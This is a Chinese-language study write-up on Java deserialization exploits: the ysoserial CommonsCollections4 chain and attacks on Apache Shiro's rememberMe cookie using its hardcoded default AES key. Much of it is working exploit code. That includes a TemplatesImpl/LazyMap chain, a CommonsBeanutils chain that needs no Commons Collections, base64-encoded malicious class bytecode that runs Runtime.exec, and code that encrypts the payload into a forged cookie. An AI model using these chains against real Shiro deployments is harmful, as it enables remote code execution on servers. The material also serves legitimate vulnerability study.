CC4、shiro……
CC4 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public class CommonsCollections4 implements ObjectPayload <Queue <Object >> { public Queue<Object> getObject (final String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer(String.class); Class[] paramTypes = new Class[] { String.class }; Object[] args = new Object[] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer( paramTypes, args); paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes" ); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs" ); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); PriorityQueue<Object> queue = new PriorityQueue<Object>(2 , new TransformingComparator(chain)); queue.add(1 ); queue.add(1 ); Reflections.setFieldValue(constant, "iConstant" , TrAXFilter.class); paramTypes[0 ] = Templates.class; args[0 ] = templates; return queue; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CommonsCollections4.class, args); } }
代码并不难,跑了一遍程序之后可以弹出计算器,那么现在就来分析一下吧
调用栈: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <init>:101, XMLFilterImpl (org.xml.sax.helpers) <init>:62, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422, Constructor (java.lang.reflect) transform:116, InstantiateTransformer (org.apache.commons.collections4.functors) transform:32, InstantiateTransformer (org.apache.commons.collections4.functors) transform:112, ChainedTransformer (org.apache.commons.collections4.functors) compare:81, TransformingComparator (org.apache.commons.collections4.comparators) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) deserialize:27, Deserializer (ysoserial) deserialize:22, Deserializer (ysoserial) run:38, PayloadRunner (ysoserial.payloads.util) main:62, CommonsCollections4 (ysoserial.payloads)
PriorityQueue 优先队列类
主要是对队列进行操作,可以序列化
浅析 因为最外层套的就是PriorityQueue
,那就先去看一下PriorityQueue#readObject
,在最后会调用到heapify()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object[size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
heapify()
形成最大堆,调用到siftDownUsingComparator
的时候会调用到comparator.compare(x, (E) c)
也就是TransformingComparator#compare
参数都为1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
TransformingComparator#compare
,而在实例化的时候this.transformer
的值为ChainedTransformer
1 2 3 4 5 public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
而ChainedTransformer#transform
方法又会调用到ConstantTransformer
和InstantiateTransformer
的transform
,后面的也和CC3一样了在InstantiateTransformer#transform
中将TrAXFilter
实例化,并且将payload作为参数传进去,从而TrAXFilter
在初始化的时候调用到了TemplatesImpl#newTransformer
,这里就回到了之前的TemplatesImpl
调用链了
1 2 3 4 for (int i$ = 0 ; i$ < len$; ++i$) { Transformer<? super T, ? extends T> iTransformer = arr$[i$]; object = iTransformer.transform(object); }
和CC3的区别
Apache Commons Collections是⼀个著名的辅助开发库,包含了⼀些Java中没有的数据结构和和辅助 ⽅法,不过随着Java 9以后的版本中原⽣库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级 或替代。 在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两 个分⽀版本:
CC2和CC4都不适用依赖为commons-collections3.2.1的环境,依赖已经变成commons-collections4,区别为PriorityQueue
类在commons-collections4中可序列化,甚至出现了更多可序列化的Transformer
但以前的CC链还是能够用到,但是需要修改,就比如CC6可以使用,但是LazyMap#decorate
方法没了直接换成另一个相同操作的方法就好了
Shiro shiro是什么 Apache Shiro 是 Java 的一个安全框架。目前,使用 Apache Shiro 的人越来越多,因为它相当简单,对比 Spring Security,可能没有 Spring Security 做的功能强大,但是在实际工作时可能并不需要那么复杂的东西,所以使用小而简单的 Shiro 就足够了。
漏洞原理:
为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。
CC攻击shiro 用P神的Demo,用IDEA部署
发现存在CC依赖(用于反序列化漏洞
部署好之后登录,如果登录成功并且如果在登录的时候选择了rememberme
就会产生cookie记录用户信息,从而导致了反序列化漏洞的出现。意思即因为shiro加密的密钥是固定的,如果我们获取到了密钥然后将我们的payload进行加密,放到rememberme
上,shiro就会将我们的payload反序列化
1 2 默认密钥: kPH+bIxk5D2deZiIxcaaaA==
在反序列化之前我们可以先去走一遍他是怎么进行加密并放到Cookie上的
前置知识 可以全局搜索一下RememberMe
,存在一个接口,要实现登陆成功、登陆失败、登出等方法,那么就可以直接去实现这个接口的类
AbstractRememberMeManager
在登陆成功的时候会判断是否需要Remember
,跟进isRememberMe
和rememberIdentity
1 2 3 4 5 6 7 8 9 public void onSuccessfulLogin (Subject subject, AuthenticationToken token, AuthenticationInfo info) { this .forgetIdentity(subject); if (this .isRememberMe(token)) { this .rememberIdentity(subject, token, info); } else if (log.isDebugEnabled()) { log.debug("AuthenticationToken did not indicate RememberMe is requested. RememberMe functionality will not be executed for corresponding account." ); } }
实际上是会去CookieRememberMeManager
,因为这个类毕竟是个抽象类捏,继续看。这里的Token实际上就是记录用户信息,包括:用户名、密码以及是否remember
然后通过rememberIdentity
将用户信息装成字节码,并且进行AES加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected void rememberIdentity (Subject subject, PrincipalCollection accountPrincipals) { byte [] bytes = this .convertPrincipalsToBytes(accountPrincipals); this .rememberSerializedIdentity(subject, bytes); } protected byte [] convertPrincipalsToBytes(PrincipalCollection principals) { byte [] bytes = this .serialize(principals); if (this .getCipherService() != null ) { bytes = this .encrypt(bytes); } return bytes; }
而在加密方法中,执行加密,且密钥为默认的kPH+bIxk5D2deZiIxcaaaA==
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 protected byte [] encrypt(byte [] serialized) { byte [] value = serialized; CipherService cipherService = this .getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.encrypt(serialized, this .getEncryptionCipherKey()); value = byteSource.getBytes(); } return value; } public AbstractRememberMeManager () { this .setCipherKey(DEFAULT_CIPHER_KEY_BYTES); } private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );
加密结束之后就会调用到CookieRememberMeManager#rememberSerializedIdentity
,实现将cookie设置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 protected void rememberSerializedIdentity (Subject subject, byte [] serialized) { if (!WebUtils.isHttp(subject)) { if (log.isDebugEnabled()) { String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation." ; log.debug(msg); } } else { HttpServletRequest request = WebUtils.getHttpRequest(subject); HttpServletResponse response = WebUtils.getHttpResponse(subject); String base64 = Base64.encodeToString(serialized); Cookie template = this .getCookie(); Cookie cookie = new SimpleCookie(template); cookie.setValue(base64); cookie.saveTo(request, response); } }
Attack 试着直接用无限制的CC6 AES加密之后是否可以打通
发生了报错,说是不加载Transform
这个类,会报错说明就是在反序列化也就是解析rememberMe的时候出现了问题,试着打断点看看
因为各种原因,cookie没修改成功,也懒得本地抓包了,那就跟着P神的思路来吧
异常关键是在ClassResolvingObjectInputStream
,可以发现报错信息就是从这个类里出来的。
resolveClass
方法中对类的加载用到是ClassUtils#forName
1 2 3 4 5 6 7 8 9 10 11 12 13 public class ClassResolvingObjectInputStream extends ObjectInputStream { public ClassResolvingObjectInputStream (InputStream inputStream) throws IOException { super (inputStream); } protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException var3) { throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: " , var3); } } }
区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName (实际上内部用到了org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ),而后者用的是Java原 生的 Class.forName 。
如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
TemplateImpl Attack P神的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public class CommonsCollectionsShiro { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public byte [] getPayload(byte [] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][]{clazzBytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("getClass" , null , null ); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry(outerMap, obj); Map expMap = new HashMap(); expMap.put(tme, "valuevalue" ); outerMap.clear(); setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); return barr.toByteArray(); } }
学习CC3的时候学到的TemolateImpl
1 2 3 4 TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "null" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl());
而在利用TemplatesImpl
的时候,还是用到了Transformer
数组,其中第一个元素为ConstantTransformer
主要是用来实例化TrAXFilter
,因为在这个类的初始化的时候会调用到TemplatesImpl#newTransformer
从而完成整个Gadget
1 2 3 4 5 final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )};
而在·CC6的链子中会用到TiedMapEntry
,用于通过getvalue
方法触发LazyMap#get
方法,这里也会触发到transform
方法,而key则是我们传进去的TemplatesImpl
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
调用到了InvokeTransform#transform
,实现把TemplatesImpl
进行实例化,并执行其方法,而这里的this.iMethodName
又是我们可控的,所以如果把this.iMethodName
赋值为newTransformer
不就可以实现RCE了嘛
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var7); } } }
1 setFieldValue(transformer, "iMethodName", "newTransformer");
Shiro不是遇到Tomcat就一定会有数组这个问题
Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了
网上大部分的文章上来就是装一个commons-collections4.0,这个是没有代表性的,不建议将这二 者结合起来学习
无CC攻击shiro Java Bean 1 2 3 4 5 6 7 8 9 10 public class Person { private String name; private int age; public String getName () { return this .name; } public void setName (String name) { this .name = name; } public int getAge () { return this .age; } public void setAge (int age) { this .age = age; } }
总的来说只存在setter
和getter
方法的类称为JavaBean
Apache Commons Beanutils 测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com.govuln.shiroattack;import org.apache.commons.beanutils.PropertyUtils;import java.lang.reflect.InvocationTargetException;public class Test { private String name = "Ameuu" ; public String getName () { return name; } public void setName (String name) { this .name = name; } public static void main (String[] args) { try { System.out.println(PropertyUtils.getProperty(new Test(), "name" )); } catch (Exception e) { e.printStackTrace(); } } }
提供了静态方法PropertyUtils.getProperty()
1 2 3 4 5 6 7 public static Object getProperty (Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { return PropertyUtilsBean.getInstance().getProperty(bean, name); } public Object getProperty (Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { return this .getNestedProperty(bean, name); }
调用到PropertyUtilsBean#getNestedProperty
,因为测试类只有一个属性所以会直接到最后一个else,调用到getSimpleProperty
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object getNestedProperty (Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { if (bean == null ) { …… } else { while (this .resolver.hasNested(name)) { …… } if (bean instanceof Map) { …… } else { bean = this .getSimpleProperty(bean, name); } return bean; } }
getSimpleProperty
会在最后获取关于这个类的属性的描述,再调用相应的getter获取属性值,实现不直接用getter
获取到属性的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Object getSimpleProperty (Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { if (bean == null ) { …… } else if (bean instanceof DynaBean) { …… } else { PropertyDescriptor descriptor = this .getPropertyDescriptor(bean, name); if (descriptor == null ) { throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'" ); } else { Method readMethod = this .getReadMethod(bean.getClass(), descriptor); if (readMethod == null ) { throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'" ); } else { Object value = this .invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY); return value; } } } }
执行getName(getter)
获取内容
利用getter 本次链子还是需要用到TemplatesImpl
,那么现在就是要找到该怎么触发到``TemplatesImpl#newTransformer`从而实现RCE
就比如前面运用过的TrAXFilter
,然后也不要忘了一开始在分析TemplatesImpl
链子的时候它自身的getOutputProperties
其实就会调用到newTransformer
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
再结合前面所学的PropertyUtils.getProperty()
,那么就可以实现调用到getOutputProperties
方法
这里用到的是org.apache.commons.beanutils.BeanComparator
,而他的compare方法就调用到了 PropertyUtils.getProperty
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public int compare (Object o1, Object o2) { if (this .property == null ) { return this .comparator.compare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this .property); Object value2 = PropertyUtils.getProperty(o2, this .property); return this .comparator.compare(value1, value2); } catch (IllegalAccessException var5) { throw new RuntimeException("IllegalAccessException: " + var5.toString()); } catch (InvocationTargetException var6) { throw new RuntimeException("InvocationTargetException: " + var6.toString()); } catch (NoSuchMethodException var7) { throw new RuntimeException("NoSuchMethodException: " + var7.toString()); } } }
构造链子 Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.govuln.shiroattack;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Exp extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Exp () throws Exception { Runtime.getRuntime().exec("calc" ); } }
编译生成字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 package com.govuln.shiroattack;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.xml.internal.messaging.saaj.util.ByteInputStream;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CBShiroTest { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); byte [] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABpjb20vZ292dWxuL3NoaXJvYXR0YWNrL0V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABIACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAFAAEABUADQAWAAsAAAAEAAEAEAABABEAAAACABI=" ); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][]{clazz.toBytecode()}); setFieldValue(obj, "_name" , "ameuu" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); BeanComparator beanComparator = new BeanComparator(); final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2 , beanComparator); priorityQueue.add("1" ); priorityQueue.add("1" ); setFieldValue(beanComparator,"property" , "outputProperties" ); setFieldValue(priorityQueue, "queue" , new Object[]{obj, obj}); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = (Object) objectInputStream.readObject(); } public static void setFieldValue (Object obj,String name,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
相比于ysoserial里的CommonsBeanutils1利用链,本文的利用链去掉了对 java.math.BigInteger 的 使用,因为ysoserial为了兼容 property=lowestSetBit ,但实际上我们将 property 设置为null即可。
无CC依赖链子 把CC依赖给删掉之后,计算器弹不出来了,而存在报错
因为BeanComparator
类中如果不给赋值的话,this.comparator
会被初始化为org.apache.commons.collections.comparators.ComparableComparator
,而这个类又是CC中的,所以就不能执行成功了
1 import org.apache.commons.collections.comparators.ComparableComparator;
所以要找到对应的类去代替org.apache.commons.collections.comparators.ComparableComparator
满足的条件:
实现 java.util.Comparator 接口
实现 java.io.Serializable 接口
Java、shiro或commons-beanutils自带,且兼容性强
CaseInsensitiveComparator
该类是String的内部类。并且String.CASE_INSENSITIVE_ORDER
就实现实例化这个类,所以我们只要传入String.CASE_INSENSITIVE_ORDER
就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator(); private static class CaseInsensitiveComparator implements Comparator <String >, java .io .Serializable { private static final long serialVersionUID = 8575799808933029326L ; public int compare (String s1, String s2) { …… } private Object readResolve () { return CASE_INSENSITIVE_ORDER; } }
修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package com.govuln.shiroattack;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class CBTest { public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABpjb20vZ292dWxuL3NoaXJvYXR0YWNrL0V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABIACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAFAAEABUADQAWAAsAAAAEAAEAEAABABEAAAACABI=" ); ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][]{code}); setFieldValue(obj, "_name" , "ameuu" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); BeanComparator beanComparator = new BeanComparator(null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2 , beanComparator); priorityQueue.add("1" ); priorityQueue.add("1" ); setFieldValue(beanComparator,"property" , "outputProperties" ); setFieldValue(priorityQueue, "queue" , new Object[]{obj, obj}); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = (Object) objectInputStream.readObject(); } public static void setFieldValue (Object obj,String name,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
实例 继续用P神的Demo
在上面的exp后面加上加密代码,将加密之后的字符串放到rememberMe
上,
1 2 3 4 5 AesCipherService aes = new AesCipherService(); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" );ByteSource ciphertext = aes.encrypt(byteArrayOutputStream.toByteArray(), key); System.out.printf(ciphertext.toString());